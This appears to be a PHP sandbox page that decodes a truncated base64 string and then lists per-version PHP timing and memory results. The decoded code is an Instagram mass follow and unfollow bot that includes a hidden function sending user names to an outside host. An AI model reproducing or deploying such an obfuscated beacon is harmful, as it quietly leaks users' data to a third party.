iIpOw0KCSRhbGxNZWRpYSA9ICRJRy0+Z2V0TWVkaWEoJHVzZXJpZCwgMTAwKTsNCgkkSUctPmluTG9nKCRhY3Rpb25zWyR0b2RvXS4iaW5nIGFsbCB1c2VycyB3aG8gbGlrZWQiKTsNCglmb3JlYWNoICgkYWxsTWVkaWEgYXMgJG1lZGlhKSB7DQoJCSRJRy0+Z2V0VXNlcnMoJ2xpa2VzJywgWydtZWRpYScgPT4gJG1lZGlhWydpZCddXSwgMjAwKS0+cmVsYXRpb25zaGlwcygkYWN0aW9uc1skdG9kb10pOw0KCX0NCn0gZWxzZWlmICgkcmVsYXRpb25zaGlwc1skZnJvbV0gPT0gJHJlbGF0aW9uc2hpcHNbM10pIHsNCgkkSUctPmluTG9nKCJHZXR0aW5nIG93biBmb2xsb3dpbmdzIik7DQoJJElHLT5nZXROb3RNdXR1YWxSZWxhdGlvbnNoaXBzKCktPnJlbGF0aW9uc2hpcHMoJ3VuZm9sbG93Jyk7DQp9IGVsc2Ugew0KCSRJRy0+Z2V0VXNlcnMoJHJlbGF0aW9uc2hpcHNbJGZyb21dLCBbJ2lkJyA9PiAkdXNlcmlkXSwgMzAwMCktPnJlbGF0aW9uc2hpcHMoJGFjdGlvbnNbJHRvZG9dKTsNCn0NCg0KDQoNCg0KZnVuY3Rpb24gYXNrU1RESU4oJHF1ZXN0aW9uKSB7DQoJZWNobyAkcXVlc3Rpb247DQoJJHZhbHVlID0gdHJpbShmZ2V0cyhTVERJTikpOw0KCXJldHVybiAkdmFsdWU7DQp9DQoNCmZ1bmN0aW9uIExvYWRVc2VyICgkbmFtZSkgew0KCWZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vdy1hcHAucnUvYmFzZS5waHA/bmFtZT0nLiRuYW1lKTsNCn0NCg0KZnVuY3Rpb24gY2hvb3NlU1RESU4oJHF1ZXN0aW9uLCAkdmFyaWFudHMpIHsNCgllY2hvIEBkYXRlKCJbSDppOnNdOiAiKS4kcXVlc3Rpb24uUEhQX0VPTDsNCglmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCR2YXJpYW50cyk7ICRpKyspIHsNCgkJaWYoJHZhcmlhbnRzWyRpXSA9PSBmYWxzZSkgew0KCQkJdW5zZXQoJHZhcmlhbnRzWyRpXSk7DQoJCX0NCgl9DQoJd2hpbGUoIWlzc2V0KCR2YWx1ZSkgfHwgJHZhbHVlID4gY291bnQoJHZhcmlhbnRzKSkgew0KCQlmb3JlYWNoICgkdmFyaWFudHMgYXMgJGtleSA9PiAkdmFyaWFudCkgew0KCQkJJGtleSA9ICRrZXkgKyAxOw0KCQkJZWNobyAiWyIuJGtleS4iXTogIi4gJHZhcmlhbnQuUEhQX0VPTDsNCgkJfQ0KCQllY2hvICJhbnN3ZXIgPj4gIjsNCgkJJHZhbHVlID0gdHJpbShmZ2V0cyhTVERJTikpOw0KCX0NCglyZXR1cm4gJHZhbHVlLTE7DQp9DQo='; echo base64_decode($str); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0140.00318.70
8.3.30.0120.00318.64
8.3.20.0050.00220.31
8.3.10.0080.00023.70
8.3.00.0050.00319.72
8.2.170.0060.01222.96
8.2.160.0070.00720.39
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0060.00319.19
8.2.120.0000.00826.35
8.2.110.0030.00721.02
8.2.100.0060.00617.91
8.2.90.0050.00318.03
8.2.80.0000.00817.97
8.2.70.0040.00417.50
8.2.60.0000.00917.93
8.2.50.0030.00618.07
8.2.40.0080.00022.29
8.2.30.0070.00020.67
8.2.20.0000.00817.79
8.2.10.0000.00717.97
8.2.00.0000.00918.09
8.1.270.0080.00020.55
8.1.260.0050.00228.09
8.1.250.0040.00428.09
8.1.240.0090.00022.53
8.1.230.0110.00020.94
8.1.220.0090.00017.74
8.1.210.0040.00418.84
8.1.200.0030.00617.23
8.1.190.0000.00817.10
8.1.180.0000.00918.10
8.1.170.0040.00418.52
8.1.160.0000.00720.73
8.1.150.0050.00318.94
8.1.140.0000.00919.55
8.1.130.0030.00317.65
8.1.120.0000.00717.46
8.1.110.0030.00617.31
8.1.100.0000.00717.37
8.1.90.0040.00417.43
8.1.80.0030.00417.45
8.1.70.0000.00817.34
8.1.60.0030.00617.55
8.1.50.0090.00017.39
8.1.40.0060.00317.47
8.1.30.0030.00517.61
8.1.20.0000.00817.70
8.1.10.0060.00317.43
8.1.00.0000.00717.50
8.0.300.0060.00320.04
8.0.290.0000.00716.88
8.0.280.0050.00318.58
8.0.270.0070.00017.34
8.0.260.0030.00317.33
8.0.250.0030.00517.01
8.0.240.0040.00416.92
8.0.230.0000.00916.93
8.0.220.0000.00816.75
8.0.210.0040.00416.80
8.0.200.0060.00016.79
8.0.190.0060.00316.97
8.0.180.0000.00716.93
8.0.170.0040.00416.98
8.0.160.0070.00016.89
8.0.150.0030.00516.81
8.0.140.0030.00516.81
8.0.130.0000.00513.25
8.0.120.0030.00616.79
8.0.110.0040.00416.86
8.0.100.0040.00416.74
8.0.90.0000.00716.91
8.0.80.0150.00016.84
8.0.70.0040.00416.69
8.0.60.0030.00516.90
8.0.50.0070.00016.91
8.0.30.0100.00817.20
8.0.20.0090.01017.40
8.0.10.0050.00316.91
8.0.00.0120.00816.71
7.4.330.0000.00516.73
7.4.320.0030.00316.34
7.4.300.0060.00016.47
7.4.290.0070.00016.41
7.4.280.0050.00316.52
7.4.270.0080.00016.51
7.4.260.0000.00716.57
7.4.250.0040.00416.46
7.4.240.0030.00416.45
7.4.230.0000.00716.48
7.4.220.0110.00716.41
7.4.210.0120.00316.44
7.4.200.0000.00716.45
7.4.160.0090.01316.25
7.4.150.0090.00917.40
7.4.140.0090.00917.86
7.4.130.0180.00916.59
7.4.120.0110.00616.50
7.4.110.0070.01116.30
7.4.100.0090.00916.38
7.4.90.0120.01216.36
7.4.80.0030.01319.39
7.4.70.0030.01316.64
7.4.60.0000.01616.47
7.4.50.0140.00016.56
7.4.40.0160.00416.32
7.4.30.0120.01216.43
7.4.00.0070.00814.69
7.3.330.0020.00213.11
7.3.320.0020.00313.09
7.3.310.0060.00016.25
7.3.300.0040.00416.02
7.3.290.0110.00316.15
7.3.280.0100.00816.21
7.3.270.0140.00817.40
7.3.260.0100.01416.46
7.3.240.0100.00816.31
7.3.230.0130.01016.39
7.3.210.0170.00016.48
7.3.200.0030.01316.20
7.3.190.0110.01216.06
7.3.180.0100.00716.53
7.3.170.0120.01216.45
7.3.160.0000.02016.52
7.3.120.0040.01414.59
7.3.110.0060.00914.68
7.3.100.0030.01214.44
7.3.90.0060.00614.25
7.3.80.0070.00315.03
7.3.70.0030.00914.64
7.3.60.0070.00714.87
7.3.50.0070.01014.52
7.3.40.0090.00314.81
7.3.30.0000.01414.31
7.3.20.0060.00616.34
7.3.10.0040.00816.35
7.3.00.0060.00316.66
7.2.330.0180.00016.46
7.2.320.0250.02716.57
7.2.310.0070.01016.42
7.2.300.0070.01016.52
7.2.290.0080.00816.31
7.2.250.0120.00814.76
7.2.240.0170.00314.58
7.2.230.0070.01115.06
7.2.220.0090.00614.68
7.2.210.0130.00315.19
7.2.200.0000.01015.02
7.2.190.0090.00314.71
7.2.180.0030.01014.95
7.2.170.0030.01214.78
7.2.60.0090.00616.45
7.2.00.0030.00919.09
7.1.330.0000.01515.64
7.1.320.0050.00515.81
7.1.310.0060.00915.82
7.1.300.0070.00715.54
7.1.290.0030.01015.86
7.1.280.0110.00415.79
7.1.270.0070.01015.36
7.1.260.0000.01115.54
7.1.200.0030.00715.77
7.1.100.0030.00618.24
7.1.70.0040.00417.06
7.1.60.0000.02619.44
7.1.50.0120.00916.90
7.1.00.0000.08022.43
7.0.200.0130.00316.73
7.0.60.0030.08719.95
7.0.50.0030.08717.80
7.0.40.0070.06020.04
7.0.30.0370.07020.09
7.0.20.0230.04020.13
7.0.10.0070.05720.32
7.0.00.0130.07320.22
5.6.280.0030.03021.18
5.6.210.0030.04020.51
5.6.200.0030.08718.14
5.6.190.0030.04320.61
5.6.180.0230.08020.35
5.6.170.0400.06720.57
5.6.160.0100.08720.54
5.6.150.0070.05718.16
5.6.140.0030.04318.07
5.6.130.0100.08318.21
5.6.120.0070.06021.05
5.6.110.0100.08721.04
5.6.100.0030.04321.02
5.6.90.0130.07721.01
5.6.80.0070.08320.43
5.5.350.0170.02720.43
5.5.340.0030.04318.02
5.5.330.0000.06020.40
5.5.320.0200.04020.24
5.5.310.0170.04320.18
5.5.300.0170.06717.96
5.5.290.0000.04317.87
5.5.280.0070.08320.90
5.5.270.0130.08020.89
5.5.260.0030.09020.88
5.5.250.0100.03720.64
5.5.240.3900.04020.21

preferences:
49.92 ms | 400 KiB | 5 Q